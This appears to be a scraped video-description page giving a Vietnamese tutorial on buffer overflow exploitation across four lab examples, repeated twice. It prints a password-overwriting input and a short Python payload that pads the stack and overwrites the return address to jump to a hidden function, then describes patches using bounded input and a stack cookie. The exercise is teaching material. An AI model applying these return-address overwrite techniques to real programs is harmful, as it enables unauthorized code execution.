filmov
tv
Hướng dẫn khai thác buffer overflow

Показать описание
Từ Example 1-4 tương tứng với 4 ví dụ trong file .doc
Example 1:
Sau khi Debug bằng Ollydbg ta thấy cần truyền vào 8 byte để gi đè được giá trị realPassword
Mã khai thác:
11111111
Example 2:
Sau khi Debug bằng Ollydbg ta tìm được địa chỉ hàm fnSecret() là 0x00401500
Mã khai thác:
pad = "a"*24
shellcode = "\x00\x15\x40\x00"
print pad + shellcode
Mã khai thác:
Example 3: (Vá lỗi của Example1)
Hàm scanner() được viết lại từ hàm scanf() giúp xác định được độ dài tối đa mà của dữ liệu nhập vào
Sau khi vá lỗi không thể khai thác bằng mã của Example1.
Mã khai thác của Example1: 11111111
Example 4: (Vá lỗi của example2)
Sau khi kiểm tra lại giá trị ngay dưới thanh ghi ebp chương trình sẽ biết nó bị ghi đè lên địa chỉ
trả về hay không
Sau khi vá lỗi không thể thay đổi địa chỉ trả về nếu không biết giá trị cookie
Hàm vẫn xác thực thành công nhưng không thể jump lại địa chỉ hàm main()
Example 1:
Sau khi Debug bằng Ollydbg ta thấy cần truyền vào 8 byte để gi đè được giá trị realPassword
Mã khai thác:
11111111
Example 2:
Sau khi Debug bằng Ollydbg ta tìm được địa chỉ hàm fnSecret() là 0x00401500
Mã khai thác:
pad = "a"*24
shellcode = "\x00\x15\x40\x00"
print pad + shellcode
Mã khai thác:
Example 3: (Vá lỗi của Example1)
Hàm scanner() được viết lại từ hàm scanf() giúp xác định được độ dài tối đa mà của dữ liệu nhập vào
Sau khi vá lỗi không thể khai thác bằng mã của Example1.
Mã khai thác của Example1: 11111111
Example 4: (Vá lỗi của example2)
Sau khi kiểm tra lại giá trị ngay dưới thanh ghi ebp chương trình sẽ biết nó bị ghi đè lên địa chỉ
trả về hay không
Sau khi vá lỗi không thể thay đổi địa chỉ trả về nếu không biết giá trị cookie
Hàm vẫn xác thực thành công nhưng không thể jump lại địa chỉ hàm main()